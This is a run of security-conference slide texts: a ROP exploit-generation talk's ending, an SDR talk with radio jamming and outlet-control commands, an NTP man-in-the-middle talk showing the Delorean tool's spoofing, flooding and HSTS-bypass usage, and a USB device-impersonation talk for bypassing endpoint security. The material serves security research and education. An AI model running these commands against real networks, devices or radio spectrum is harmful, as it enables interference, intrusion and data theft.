15 ● ELF 32-bit, static, NX ● Re-randomize the text base Defcon 2015 - fuckup 16 Long Gadget Side Effects 17 ● Inter/Intra-gadget dependency problem ● Unconditional jump Exploit Generation - CRAX 18 ● Transfer “Crash input” to “Exploit input” Single Path Concolic Execution 19 ● Symbolic variable (x and y) ● Path constraint (x > 0)  (2x + 1< 10) ● Symbolic EIP ● Constraint solver CRAX 20 CRAX with ROPChain 21 Integration – Metasploit Attacker set Metasploit handler 22 Demo 23 Summary ● ROPChain:  Truing complete ROP Payload API  Generate bypassing DEP and ASLR payload ● Exploit Generation (CRAX):  Convert crash to anti-mitigation exploit ● Post Exploitation Framework:  Integrate Metasploit  Make Post-exploit easier 24 Thank you for listening. 25
pdf
Intercepting, modifying, and generating wireless signals with SDR Caleb Madrigal (Public) handle: metem Website: http://calebmadrigal.com/ Twitter: @caleb_madrigal Ham call sign: w0hak About Caleb: Programming for about 18 years. I most enjoy hacking and mathy stuff (Signal processing, Machine Learning, AI) In general, I find it interesting to hear the "unhearable", see the "unseeable" - to tune in to the subtleties around us. In the computer world, everything is black and white, but the real world is fuzzy and colorful. Ontologically, I think the best way to describe myself is as a "Christian Mystic". I also love Art - Literature, Music, Artsy movies, etc. I'm also an occasional and unaccomplished poet. Possible titles for this talk: Intercepting, modifying, and generating wireless signals with SDR How digital data is transmitted wirelessly Controlling wireless IoT devices via crafted radio signals How the OSI Physical layer works and how to attack it Background on what led me to doing this stuff - came in from 3 directions: IoT Music theory -> Sound analysis Wireless hacking We'll be exploring the Physical layer Harness the invisible energy all around us! IoT: +5000% attack damage to all wireless hacking skills Things that work through radio: "Radio" (AM, FM) TV Cell phones Wifi Bluetooth GPS Wireless security systems Any form of Wireless IoT device SCADA systems / large industrial equipment Software-Defined Radio (SDR) HackRF One LimeSDR RTL-SDR In the Wizard/Sorceress metaphor, this is your wand (along with the antenna, of course). Sidenote: when using radios, your body can actually become a part of the antenna, which is very like magical lore - THE ENERGY IS FLOWING THROUGH YOU! Demos Unlocking Car (video) https://www.youtube.com/watch?v=Q-OlgVLHIDs Jamming (live) ./jam_narrow.py 440440000 Controlling outlet (live) python3 ask_modulate_radio_signal.py -c raw_data/outlet_c2_on.json -o /tmp/radio_signal.pcm ./transmit_signal.py -f /tmp/radio_signal.pcm -t 315000000 Understanding waves What are waves? Interesting things about waves They are everywhere Epitome of change Superposition principle (wave convolution) Convoluted waves can be deconvoluted Orthogonality of waves of differing frequencies Relation to e Waves are found everywhere! Anywhere there is circular motion or vibration, there are waves. All wireless communication Sounds waves Radio waves Infrared, microwave, etc Motion of pendulums and springs Light from the sun at a given place on earth Temperature on earth Patterns of the tides Patterns of breathing All over moden physics Quantum Field Theory posits that particles are excitations (waves) in various fields. We know from Einstein that matter and energy are related, and since waves are the epitome of energy, this makes sense. Possibly the basis for all matter String Theory posits that everything is made out of small VIBRATING strings Uncertainty Principle I accidentally stumbled on the Uncertainty Principle when doing audio analysis The more samples you take, the more certain you can be of the frequencies contained But the more samples you take, the less localized in time you are. Application: So understanding waves helps you understand the universe! Waves are the epitome of change Or to put it another way, "energy". Calculus deals with change through the "derivative" - the rate of change of a function. Waves are one of the only graphs for which the derivative of the function is a version of itself! The other one I know of is e^x, but there's a reason for that... waves and e are intimately related in Euler's Formula, e^ix = cos(x) + i sin(x). More on that in a minute. Superposition principle How can you hear many things at once? How can there be multiple radio waves in the air at the same time which can be tuned into? Superposition principle: waves are added together to form more complicated wave patterns. Relation to radio hacking: The superposition principle is how there can be many different radio signals in the air at the same time. Deconvolution is possible Because waves of differing frequencies are orthogonal, a convoluted wave (made of multiple frequencies) can be broken into each of its component frequencies. This can be done with the Fourier Transform. Time domain Frequency domain Relation to radio hacking: Deconvolution is basically how we "tune into" a particular radio frequency. But how is this possible? Say I have 10 numbers, and I "convolute" (add) them together - you couldn't break them back into the original numbers. So how can you do this with waves? Orthogonality of waves of differing Orthogonality of waves of differing frequencies frequencies You can think of the set of all waves as forming Hilbert space where each frequency wave is a different dimension. You can only deconvolute orthogonal components: If you have 2 "components" in the same that are not orthogonal, you can't ever deconvolute them. Even if they are not fully in the same dimension, if the vectors are not orthogonal, you can't fully recover the components: But you can fully recover the orthogonal components: And that holds for higher dimensions too: Relation to radio hacking: this is how, when you tune into a particular frequency, you don't get tons of interference from all the other waves in the air. Relation to e Euler's Formula relates e^x to sin(x) and cos(x): This is also where we get Euler's Identity: At x = π, sin(π) = 0, and cos(π) = -1 So e^iπ = -1 + 0 Move the 1 over: e^iπ + 1 = 0 Complex sin waves Relation to radio hacking: Radio waves are actually transmitted as complex waves, not simple waves, so if we want to craft our own radio waves to control things, we'll need to use complex sine waves. How does digital communication happen over waves? Modems "Modem" = "MOdulator" + "DEModulator" Modulation Modulation: manipulating a "carrier" wave to carry information. Types of digital modulation: Amplitude-Shift Keying (ASK) Frequency-Shift Keying (FSK) Phase-Shift Keying (PSK) Quadrature Amplitude Modulation (QAM) Amplitude-Shift Keying (ASK) Used by many simpler devices This is the type the wireless outlets I'm controlling uses Frequency-Shift Keying (FSK) Phase-Shift Keying (PSK) Quadrature Amplitude Modulation (QAM) Essentially, this is a combination of ASK and PSK This is what modern WiFi mostly uses. Actually generating a radio signal from scratch Demo Jupyter Notebook Actually control the outlet Script: https://github.com/calebmadrigal/radio-hacking- scripts/blob/master/ask_modulate_radio_signal.py Jupyter Notebook: https://github.com/calebmadrigal/radio-hacking- scripts/blob/master/radio_signal_generation.ipynb Conclusions All wireless digital communications happens over EM waves. And though some of the ways information is represented, all of it is still just plain ol' EM waves. Now you know how the fundamentals of all radio communication happens! Including some freakin' awesome foundational math. Be aware of the potential attack vectors that all wireless systems: Jamming attacks - not a lot to mitigate this type of attack; but and it's good to be aware of that. A few possible mitigation schemes: Spread spectrum radio Channel hopping Active low - so if the signal goes away, consider that "triggered" Replay attacks - make sure rolling codes are good Brute force attacks - make sure key space is large enough and random enough Mixed replay+brute force? Be wary of wireless communication, and keep this stuff in mind when analyzing all the new IoT devices coming out! Thanks! Questions? Caleb Madrigal (Public) handle: metem Website: http://calebmadrigal.com/ Twitter: @caleb_madrigal Ham call sign: w0hak Link to these presentation note: http://tiny.cc/hackwave Link to code and jupyter notebooks: https://github.com/calebmadrigal/radio- hacking-scripts
pdf
Breaking SSL using time synchronisation attacks Jose Selvi, Senior Security Consultant • Jose%Selvi% • +10%years%working%in%security% • Senior%security%Consultant% • SANS%Institute%Community%Instructor% • GIAC%Security%Expert%(GSE)% • Twitter:%@JoseSelvi% • Blog:%http://www.pentester.es $ whois jselvi Valencia: Beach, Sun & Hacking Warning! Spanish accent! Let’s Go! • Modern Time Synchronisation • Get in a Delorean • HTTP Strict Transport Security • Windows task scheduler • Public Key Infrastructure • Conclusions & Recommendations Network Time Protocol (NTP) • Time%Synchronisation%Services.% • RFCK1305%(v3)%/%RFCK5905%(v4)%/%RFCK4330% (SNTPv4).% • By%default%in%(almost)%all%operating%systems.% • No%secured%by%default.% • Vulnerable%to%ManKinKtheKMiddle%attacks. NTP Packet Example: Ubuntu Linux Mac OS X - Mavericks • New%synchronisation%service% • NTP%daemon%exits,%but%not%synchronises.% • Just%writes%in%/var/db/ntp.drift% • A%new%service%called%“pacemaker”%check% that%file%and%change%the%clock.% • It%seems%it%doesn’t%work%as%it%should… http://www.atmythoughts.com/livingKinKaKtechKfamilyKblog/2014/2/28/whatKtimeKisKit Does NTP work? /usr/libexec/ntpd-wrapper Mac OS X - Mavericks Fedora Linux • The%easiest% • NTPv3.% • More%than%one%NTP%server% • Requests%each%minute! $%tcpdump%Ki%eth0%Knn%src%port%123% 12:43:50.614191%IP%192.168.1.101.123%>%89.248.106.98.123:%NTPv3,%Client,%length%48% 12:44:55.696390%IP%192.168.1.101.123%>%213.194.159.3.123:%NTPv3,%Client,%length%48% 12:45:59.034059%IP%192.168.1.101.123%>%89.248.106.98.123:%NTPv3,%Client,%length%48 Ubuntu Linux • Very%simple% • NTPv4.% • Each%time%it%connects%to%a%network%(and%at% boot%time,%of%course). $%ls%/etc/network/ifKup.d/% 000resolvconf%%avahiKdaemon%%ntpdate%%wpasupplicant% avahiKautoipd%%%ethtool%%%%%%%%%%%%%upstart Windows • NTPv3%but…% • The%most%secure.% • Synchronisation%each%7%days.% • More%than%15%hours%drift%isn’t%allowed.% • Domain%members%work%in%a%different% way. W32time service Max[Pos|Neg]PhaseCorrection W7 / W8 15 horas W2K12 48 horas What the Internet says? Manual Synchronisation Windows Domain Members Windows Domain Members 5E 04 00 00 Key Selector RID Windows Domain Members /* Sign the NTP response with the unicodePwd */ MD5Init(&ctx); MD5Update(&ctx, nt_hash->hash, sizeof(nt_hash->hash)); MD5Update(&ctx, sign_request.packet_to_sign.data, sign_request.packet_to_sign.length); MD5Final(signed_reply.signed_packet.data + sign_request.packet_to_sign.length + 4, &ctx); * Username : DELOREANPC$ * Domain : PTDOM * Password : 01 09 8b 63 35 9f 69 3d 15 9f d1 2a 03 74 ef 9b c3 70 ec 0 7 3b 5c d3 54 84 1e ca 94 94 01 b3 b7 99 0f b0 7e 88 fc 1c 10 67 f3 ee 5e f2 26 bd 1d b2 6a e1 d8 fa ff ac e7 18 32 56 35 57 6f 0b 7d a1 24 31 d7 57 88 39 84 c3 5f aa 15 df f8 6a d3 d9 35 51 15 f5 d6 26 c2 d6 c4 18 ec 0d 22 21 be 6c f2 ac 8 8 2a 95 49 92 11 b8 a6 5d 03 77 aa 08 c6 9d 75 b4 62 0a 9a dc 6c c1 e7 7d 28 75 4c 2a 5b 44 00 19 8e bf b3 81 ca 23 31 01 e5 aa 14 c2 28 8c 71 9b a0 8b 9f ad 47 be 53 7f e9 b4 e1 21 8f ff 82 11 4b cd e8 d6 d0 b7 8d b8 e2 69 08 42 e3 0a 3c 3 9 6c 61 97 3c cb e8 e5 2b bd 1b 33 c6 55 08 1c 3e d5 49 d3 b1 20 93 9f ed 27 dd 82 eb c4 26 15 30 3b d3 0a 76 df 75 52 61 c8 76 9f 22 a2 aa d0 39 49 27 35 46 22 80 9e 59 f9 d7 80 9f Windows Domain Members Not a silver bullet Let’s Go! • Modern Time Synchronisation • Get in a Delorean • HTTP Strict Transport Security • Windows task scheduler • Public Key Infrastructure • Conclusions & Recommendations Delorean • NTP%MitM%Tool.%Free.%Open%Source.%Python.% – http://github.com/PentesterES/Delorean% • Based%on%a%kimifly’s%work:% – http://github.com/limifly/ntpserver% • Implements%several%attacks.% • It%pretends%to%be%an%NTP%attack%‘suite’. Delorean $%./delorean.py%Kh% Usage:%delorean.py%[options]% Options:% %%Kh,%KKhelp%%%%%%%%%%%%show%this%help%message%and%exit% %%Ki%INTERFACE,%KKinterface=INTERFACE% %%%%%%%%%%%%%%%%%%%%%%%%Listening%interface% %%Kp%PORT,%KKport=PORT%%Listening%port% %%Kn,%KKnobanner%%%%%%%%Not%show%Delorean%banner% %%Ks%STEP,%KKforceKstep=STEP% %%%%%%%%%%%%%%%%%%%%%%%%Force%the%time%step:%3m%(minutes),%4d%(days),%1M% %%%%%%%%%%%%%%%%%%%%%%%%(month)% %%Kd%DATE,%KKforceKdate=DATE% %%%%%%%%%%%%%%%%%%%%%%%%Force%the%date:%YYYYKMMKDD%hh:mm[:ss]% %%Kr,%KKrandomKdate%%%%%Use%random%date%each%time Basic attacks #%./delorean.py%Kn% [22:02:57]%Sent%to%192.168.10.102:55962%K%Going%to%the%future!%2015K06K20%22:02% [22:02:59]%Sent%to%192.168.10.102:39708%K%Going%to%the%future!%2015K06K20%22:02 #%./delorean.py%Kd%‘2020K08K01’%Kn% [22:02:57]%Sent%to%192.168.10.102:55962%K%Going%to%the%future!%2015K06K20%22:02% [22:02:59]%Sent%to%192.168.10.102:39708%K%Going%to%the%future!%2015K06K20%22:02 #%./delorean.py%Kr%Kn% [22:02:57]%Sent%to%192.168.10.102:55962%K%Going%to%the%future!%2015K06K20%22:02% [22:02:59]%Sent%to%192.168.10.102:39708%K%Going%to%the%future!%2015K06K20%22:02 #%./delorean.py%Ks%10d%Kn% [22:02:57]%Sent%to%192.168.10.102:55962%K%Going%to%the%future!%2015K06K20%22:02% [22:02:59]%Sent%to%192.168.10.102:39708%K%Going%to%the%future!%2015K06K20%22:02 29 DEMO Time Skimming Attack 3153600 secs later Time Sync Time Skimming Attack #%./delorean.py%Kk%15h%Kt%10s%Kn% [21:57:26]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K11%12:57% [21:57:33]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K12%03:57% [21:57:37]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K12%18:56% [21:57:44]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K13%09:56% [21:57:50]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K14%00:56% [21:57:58]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K14%15:56% [21:58:04]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K15%06:56% [21:58:11]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K15%21:56% [21:58:17]%Sent%to%192.168.10.105:123%K%Going%to%the%future!%2015K06K16%12:56 32 DEMO Replay Attack $%./delorean.py%Kn%Kr%capture.pcap% [06:19:13]%Replayed%to%192.168.10.105:39895%K%Going%to%the%past!%2015K06K24%21:41% [06:19:17]%Replayed%to%192.168.10.105:39895%K%Going%to%the%past!%2015K06K24%21:41 Spoofing Attack $%./delorean.py%Kn%Kf%192.168.10.10%Ko%8.8.8.8%Kr%capture.pcap%% Flooding%to%192.168.10.10% $%tcpdump%Knn%Kp%Ki%eth1%host%192.168.10.10% tcpdump:%verbose%output%suppressed,%use%Kv%or%Kvv%for%full%protocol%decode% listening%on%eth1,%linkKtype%EN10MB%(Ethernet),%capture%size%65535%bytes% 08:26:07.621412%IP%8.8.8.8.123%>%192.168.10.10.123:%NTPv4,%Server,%length%48% 08:26:07.682578%IP%8.8.8.8.123%>%192.168.10.10.123:%NTPv4,%Server,%length%48% 08:26:07.761407%IP%8.8.8.8.123%>%192.168.10.10.123:%NTPv4,%Server,%length%48% 08:26:07.766434%IP%8.8.8.8.123%>%192.168.10.10.123:%NTPv4,%Server,%length%48% 08:26:07.843923%IP%8.8.8.8.123%>%192.168.10.10.123:%NTPv4,%Server,%length%48% 08:26:07.905666%IP%8.8.8.8.123%>%192.168.10.10.123:%NTPv4,%Server,%length%48% 08:26:07.922923%IP%8.8.8.8.123%>%192.168.10.10.123:%NTPv4,%Server,%length%48 Anti replaying… Let’s Go! • Modern Time Synchronisation • Get in a Delorean • HTTP Strict Transport Security • Windows task scheduler • Public Key Infrastructure • Conclusions & Recommendations Stripping SSL links HTTPS HTTP Attacker Client Server GET / HTTP/1.1 <body> <img src=whatever.jpg> <a href = </body> https://myweb/login> http://myweb/login> HTTP Strict Transport Security • RFCK6797:%November%2012.% • Also%known%as%HSTS%or%STS.% • Prevent%HTTP%connections.% • Prevent%accepting%selfKsigned%and% rogue%certificates.% • Use%a%new%“StrictKTransportKSecurity”% header. Who uses HSTS? http://paul.vanbrouwershaven.com/2014/05/everyone-needs-http-strict-transport.html Who uses HSTS? How it work? Server HTTPS GET / HTTP/1.1 Client Strict-Transport-Security: max- age=3153600 Parameters • maxKage:%amount%of%seconds%that%the%policy%is% enabled.% • includeSubdomains:%If%present,%the%policy% applies%to%all%subdomains,%not%just%the%visited% one. Browsers support •http://caniuse.com/#feat=stricttransportsecurity HSTS Timeline HTTPS connection 3153600 secs later Preloaded HSTS • Hardcoded%list%of%well%known% website%names%that%should%always% use%HTTPS.% • Prevent%the%security%gap%before% the%first%HTTPS%connection.% • Google,%Twitter,%Paypal,%… Avoid protected names HTTPS connection 3153600 secs later Preloaded HSTS - Google http://www.chromium.org/sts Preloaded HSTS - Mozilla https://blog.mozilla.org/security/2012/11/01/preloading-hsts/ Preloaded HSTS - Others Chromium Source Code Safari plist $%plutil%Kp%HSTS.plist% {% %%"com.apple.CFNetwork.defaultStorageSession"%=>%{% %%%%"ssl.googleKanalytics.com"%=>%Kinf% %%%%"webmail.mayfirst.org"%=>%Kinf% %%%%"braintreegateway.com"%=>%Kinf% %%%%"code.google.com"%=>%Kinf% %%%%"dm.mylookout.com"%=>%inf% %%%%"therapynotes.com"%=>%inf% %%%%"chrome.google.com"%=>%Kinf% %%%%"sol.io"%=>%Kinf% %%%%"www.sandbox.mydigipass.com"%=>%inf% […] HSTS weakness • Its%security%relies%on%time.% • It%completely%trust%the%OS’s% current%time.% • This%looks%like%a%job%for% Delorean! 54 DEMO Public release Google response Lots of things goes wrong… Let’s Go! • Modern Time Synchronisation • Get in a Delorean • HTTP Strict Transport Security • Windows task scheduler • Public Key Infrastructure • Conclusions & Recommendations Task scheduler Windows automatic updates 61 DEMO Let’s Go! • Modern Time Synchronisation • Get in a Delorean • HTTP Strict Transport Security • Windows task scheduler • Public Key Infrastructure • Conclusions & Recommendations PKI, CAs & Certificates Edo Tensei no Jutsu! Weak certificates https://www.eff.org/observatory Looking around Las Vegas Let’s look any other… 68 DEMO Leaked certificates Certificate: Data: Version: 3 (0x2) Serial Number: 05:e2:e6:a4:cd:09:ea:54:d6:65:b0:75:fe:22:a2:56 Signature Algorithm: sha1WithRSAEncryption Issuer: emailAddress = [email protected] commonName = DigiNotar Public CA 2025 organizationName = DigiNotar countryName = NL Validity Not Before: Jul 10 19:06:30 2011 GMT Not After : Jul 9 19:06:30 2013 GMT Subject: commonName = *.google.com serialNumber = PK000229200002 localityName = Mountain View organizationName = Google Inc countryName = US Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): Heartbleed Debian PRNG Certificate Chain Revocation lists An example… Purged CRLs??? Purged CRLs??? CRL ID%más%viejo Fecha DigiCert%SHA2%Extended%Validation%Server%CA% (Dropbox,%GitHub) 131213031902Z0% (330%certs) 13/12/2013%03:19 DigiCert%High%Assurance%CAK3% (Facebook) 120614172516Z0% 140927190602Z0% (160%certs) 14/06/2012%17:25% 27/09/2014%19:06 GeoTrust%Global%CA% (Google) 020521134804Z0% (9%certs) 21/05/2002%13:48 GlobalSign%Organization%Validation%CA%K% SHA256%K%G2%(LogmeIn) 140331025038Z0% (637%certs) 31/03/2014%02:50 VeriSign%Class%3%Extended%Validation%SSL%CA% (Microsoft,%Paypal,%Twitter) 121204020253Z0% (1709%certs) 04/12/2012%02:02 VeriSign%Class%3%Secure%Server%CA%K%G3% (Yahoo) 101010055242Z0% (41120%certs) 10/10/2010%05:52 Online Certificate Status Protocol What if I can’t connect? https://www.grc.com/revocation/implementations.htm 79 DEMO Let’s Go! • Modern Time Synchronisation • Get in a Delorean • HTTP Strict Transport Security • Windows task scheduler • Public Key Infrastructure • Conclusions & Recommendations Conclusions & Recommendations Facts • Time synchronisation isn’t managed securely by most operating system vendors. • Many security protections relies in time. If an attacker can control the local clock, lots of things can go wrong. What to do • Configure NTP synchronisation in a secure way (Microsoft does): • Signature. • Maximum drift. • Block SSL certificates which expiry date is before the browser build date or the last update (Chrome does). 82 Jose Selvi http://twitter.com/JoseSelvi [email protected] http://www.pentester.es [email protected] http://www.nccgroup.trust Thanks! Questions? UK Offices Manchester - Head Office Cheltenham Edinburgh Leatherhead London Thame North American Offices San Francisco Atlanta New York Seattle Australian Offices Sydney European Offices Amsterdam - Netherlands Munich – Germany Zurich - Switzerland
pdf
Bypassing Endpoint Security for $20 or Less Philip A. Polstra, Sr. @ppolstra ppolstra.blogspot.com • Why this talk? • Who is this dude talking at me? • Brief history of USB • How does USB work? • It’s all descriptors and endpoints • Bulk-only mass storage devices • Bypassing endpoint security • Microcontrollers are fun (and cheap) • Food for thought Roadmap • Many organizations have begun to use endpoint security programs to restrict use of portable media • Many software tools do the USB equivalent of MAC filtering – only allow authorized VID/PID • For $18-30 can easily construct device to allow any mass storage device to impersonate authorized device • Allows injection/extraction Why this talk? Who am I anyway? • Teach computer security at a private university • Like to hack hardware • Have been known to fly and build airplanes • Been known to play with USB devices Brief History or USB • Non-universal serial, PS/2 ports, & LPT • 1996 USB 1.0 (1.5 or 12 Mbps) • 1998 USB 1.1 • 2000 USB 2.0 (1.5, 12, or 480 Mbps) • Long pause • 2008 USB 3.0 (up to 5 Gbps) HOW DOES USB WORK? Hardware • Simple 4-wire connection (power, ground, 2 data wires) • Cabling prevents improper connections • Hot pluggable • Differential voltages provide greater immunity to noise • Cable lengths up to 16 feet are possible Pin Name Cable color Description 1 VBUS Red +5 V 2 D− White Data − 3 D+ Green Data + 4 GND Black Ground Software • Automatic configuration • No settable jumpers • Enumeration • Standard device classes with corresponding drivers – HID – Printer – Audio – Mass Storage Connecting a Device • Device is connected • Hub detects • Host (PC) is informed of new device • Hub determines device speed capability as indicated by location of pull-up resistors • Hub resets the device • Host determines if device is capable of high speed (using chirps) • Hub establishes a signal path • Host requests descriptor from device to determine max packet size • Host assigns an address • Host learns devices capabilities • Host assigns and loads an appropriate device driver (INF file) • Device driver selects a configuration IT’S ALL DESCRIPTORS AND ENDPOINTS Endpoints • The virtual wire for USB communications • All endpoints are one way (direction relative to host) • Packet fragmentation, handshaking, etc. done by hardware (usually) • High bit of address tells direction 1=in 0=out • Types of endpoints – Control – Bulk transport – Interrupt – Isochronous Control Endpoints • Primary mechanism for most devices to communicate with host • Every device must have at least one in and out control endpoint EP0 • Device must respond to standard requests – Get/set address, descriptors, power, and status • Device may respond to class specific requests • Device may respond to vendor specific requests Control Endpoints (continued) • May have up to 3 transport stages: Setup, Data, Status • Setup stage – Host sends Setup token then data packet containing setup request – If device receives a valid setup packet, an ACK is returned – Setup request is 8 bytes • 1st byte is bitmap telling type of request & recipient (device, interface, endpoint) • Remaining bytes are parameters for request and response • Data stage (optional) – requested info transmitted • Status stage – zero length data packet sent as ACK on success Interrupt & Isochronous Endpoints • Interrupt endpoints – Used to avoid polling and busy waits – Keyboards are a good example – Usually low speed (allows for longer cables, etc.) • Isochronous endpoints – Guaranteed bandwidth – Used primarily for time-critical apps such as streaming media Bulk Endpoints • No latency guarantees • Good performance on an idle bus • Superseded by all other transport types • Full (8-64 byte packets) & high speed (512 byte packets) only • Used extensively in USB flash drives (and external hard drives) • Transactions consist of a token packet, 0 or more data packets, and an ACK handshake packet (if successful) Descriptors • They describe things (duh!) • Have a standard format – 1st byte is the length in bytes (so you known when you’re done) – 2nd byte determines type of descriptor – Remaining bytes are the descriptor itself • Common types – Device: tells you basic info about the device – Configuration: how much power needed, number of interfaces, etc. – Interface: How do I talk to the device – Endpoint: Direction, type, number, etc. – String: Describe something in unicode text Device Descriptor Offset Field Size Value Description 0 bLength 1 Number 18 bytes 1 bDescriptorType 1 Constant Device Descriptor (0x01) 2 bcdUSB 2 BCD 0x200 4 bDeviceClass 1 Class Class Code 5 bDeviceSubClass 1 SubClass Subclass Code 6 bDeviceProtocol 1 Protocol Protocol Code 7 bMaxPacketSize 1 Number Maxi Packet Size EP0 8 idVendor 2 ID Vendor ID 10 idProduct 2 ID Product ID 12 bcdDevice 2 BCD Device Release Number 14 iManufacturer 1 Index Index of Manu Descriptor 15 iProduct 1 Index Index of Prod Descriptor 16 iSerialNumber 1 Index Index of SN Descriptor 17 bNumConfigurations 1 Integer Num Configurations Configuration Descriptor (header) Offset Field Size Value Description 0 bLength 1 Number Size in Bytes 1 bDescriptorType 1 Constant 0x02 2 wTotalLength 2 Number Total data returned 4 bNumInterfaces 1 Number Num Interfaces 5 bConfigurationValue 1 Number Con number 6 iConfiguration 1 Index String Descriptor 7 bmAttributes 1 Bitmap b7 Reserved, set to 1. b6 Self Powered b5 Remote Wakeup b4..0 Reserved 0. 8 bMaxPower 1 mA Max Power in mA/2 Interface Descriptor Offset Field Size Value Description 0 bLength 1 Number 9 Bytes 1 bDescriptorType 1 Constant 0x04 2 bInterfaceNumber 1 Number Number of Interface 3 bAlternateSetting 1 Number Alternative setting 4 bNumEndpoints 1 Number Number of Endpoints used 5 bInterfaceClass 1 Class Class Code 6 bInterfaceSubClass 1 SubClass Subclass Code 7 bInterfaceProtocol 1 Protocol Protocol Code 8 iInterface 1 Index Index of String Descriptor Endpoint Descriptor Offset Field Size Value Description 0 bLength 1 Number Size of Descriptor (7 bytes) 1 bDescriptorType 1 Constant Endpoint Descriptor (0x05) 2 bEndpointAddress 1 Endpoint b0..3 Endpoint Number. b4..6 Reserved. Set to Zero b7 Direction 0 = Out, 1 = In 3 bmAttributes 1 Bitmap b0..1 Transfer Type 10 = Bulk b2..7 are reserved. I 4 wMaxPacketSize 2 Number Maximum Packet Size 6 bInterval 1 Number Interval for polling endpoint data String Descriptors Offset Field Size Value Description 0 bLength 1 Number Size of Descriptor in Bytes 1 bDescriptorType 1 Constant String Descriptor (0x03) 2 bString n Unicode Unicode Encoded String Note: String 0 is a special case that lists available languages. Most common is 0x0409 – U.S. English BULK-ONLY MASS STORAGE DEVICES Now that we have learned a little about general devices, without further delay… USB Flash Drives • Hardware • Software • Filesystems • Talk to a flash drive Hardware Hardware (continued) • Typically utilize NAND flash memory • Memory degrades after 10,000 write cycles • Most chips not even close to high-speed USB speed (480 Mbps) • Can only be written in blocks (usually 512, 2048, or 4096 bytes) • Chips are somewhat easily removed from damaged drives for forensic recovery • Some controllers have JTAG capability which can be used for memory access • Some controller chips steal some flash memory for themselves Hardware (continued) • Nearly all flash drives present themselves as SCSI hard drives • “Hard drive” sectors are typically 512, 2048, or 4096 bytes • SCSI transparent command set is used • Most drives are formatted as one partition or logical unit – Additional logical units can hide info from Windows machines • Reported size may not match actual media size – Info can be hidden in higher sectors – Some cheap drives are out there that grossly over report size – A typical 512 byte sector needs 16 bytes for error correction Software • Usually implemented in firmware within specialized controller chips • Must: – Detect communication directed at drive – Respond to standard requests – Check for errors – Manage power – Exchange data Filesystems • Most preformatted with FAT or FAT32 • NTFS • TrueFFS • ExtremeFFS • JFFS • YAFFS • Various UNIX/Linux file systems Talking to a Flash Drive • Bulk-Only Mass Storage (aka BBB) protocol used – All communications use bulk endpoints – Three phases: CBW, data-transport (optional), CSW – Commands sent to drive using a Command Block Wrapper (CBW) – CBW contains Command Block (CB) with actual command – Nearly all drives use a (reduced) SCSI command set – Commands requiring data transport will send/receive on bulk endpoints – All transactions are terminated by a Command Status Wrapper (CSW) Command Block Wrapper typedef struct _USB_MSI_CBW { unsigned long dCBWSignature; //0x43425355 “USBC” unsigned long dCBWTag; // associates CBW with CSW response unsigned long dCBWDataTransferLength; // bytes to send or receive unsigned char bCBWFlags; // bit 7 0=OUT, 1=IN all others zero unsigned char bCBWLUN; // logical unit number (usually zero) unsigned char bCBWCBLength; // 3 hi bits zero, rest bytes in CB unsigned char bCBWCB[16]; // the actual command block (>= 6 bytes) } USB_MSI_CBW; Command Block • 6-16 bytes depending on command • Command is first byte • Format Unit Example: typedef struct _CB_FORMAT_UNIT { unsigned char OperationCode; //must be 0x04 unsigned char LUN:3; // logical unit number (usually zero) unsigned char FmtData:1; // if 1, extra parameters follow command unsigned char CmpLst:1; // if 0, partial list of defects, 1, complete unsigned char DefectListFormat:3; //000 = 32-bit LBAs unsigned char VendorSpecific; //vendor specific code unsigned short Interleave; //0x0000 = use vendor default unsigned char Control; } CB_FORMAT_UNIT; Command Block (continued) • Read (10) Example: typedef struct _CB_READ10 { unsigned char OperationCode; //must be 0x28 unsigned char RelativeAddress:1; // normally 0 unsigned char Resv:2; unsigned char FUA:1; // 1=force unit access, don't use cache unsigned char DPO:1; // 1=disable page out unsigned char LUN:3; //logical unit number unsigned long LBA; //logical block address (sector number) unsigned char Reserved; unsigned short TransferLength; unsigned char Control; } CB_READ10; Command Block (continued) • Some Common SCSI Commands: FORMAT_UNIT=0x4, //required INQUIRY=0x12, //required MODE_SELECT6=0x15, MODE_SELECT10=0x55, MODE_SENSE6=0x1A, MODE_SENSE10=0x5A, READ6=0x08, //required READ10=0x28, //required READ12=0xA8, READ_CAPACITY10=0x25, //required READ_FORMAT_CAPACITIES=0x23, REPORT_LUNS=0xA0, //required REQUEST_SENSE=0x03, //required SEND_DIAGNOSTIC=0x1D, //required START_STOP_UNIT=0x1B, SYNCHRONIZE_CACHE10=0x35, TEST_UNIT_READ=0x00, //required VERIFY10=0x2F, WRITE6=0x0A, //required WRITE10=0x2A, WRITE12=0xAA Command Status Wrapper • Read Sense command can be used for details on failed operations typedef struct _USB_MSI_CSW { unsigned long dCSWSignature; //0x53425355 “USBS” unsigned long dCSWTag; // associate CBW with CSW response unsigned long dCSWDataResidue; // difference between requested data and actual unsigned char bCSWStatus; //00=pass, 01=fail, 02=phase error, reset } USB_MSI_CSW; HOW DO I BYPASS ENDPOINT SECURITY? Now that we know how bulk-only mass storage devices work… Impersonating another device • Social engineering USB style • Providing an authorized VID/PID allows device connection – Backdoors and other useful items can be injected – Information can be extracted to portable media • Device design allows optional write blocking MICROCONTROLLERS ARE FUN (AND CHEAP) Enough background. Let the fun begin… Fun with Microcontrollers • Chip Choice • A Microcontroller-Based Impersonator Chip Choice Options • AVR (as found in Arduino family) – Cheap – Well understood – Loads of code out there – Too underpowered to do USB without external components (<20MHz) • PIC family – Relatively cheap – Programming somewhat more involved than AVR – Newer chips SMD only, not easy DIP package – Some USB device code, but not host code out there Chip Choice Winner • None of the above • FTDI Vinculum II – Relatively new chip – A little faster than AVRs (48 MHz) – Real-time multi-threaded OS – Libraries for several standard USB classes • BOMS is one – but we can’t use it for this project, unfortunately – Unlike AVR, different pin packages differ only with GPIO lines available • Same flash memory • Same RAM Chip Choice • FTDI Vinculum II dual USB host/slave controller – 2 full-speed USB 2.0 interfaces (host or slave capable) – 256 KB E-flash memory – 16 KB RAM – 2 SPI slave and 1 SPI master interfaces – Easy-to-use IDE – Simultaneous multiple file access on BOMS devices • Several development modules available – Convenient for 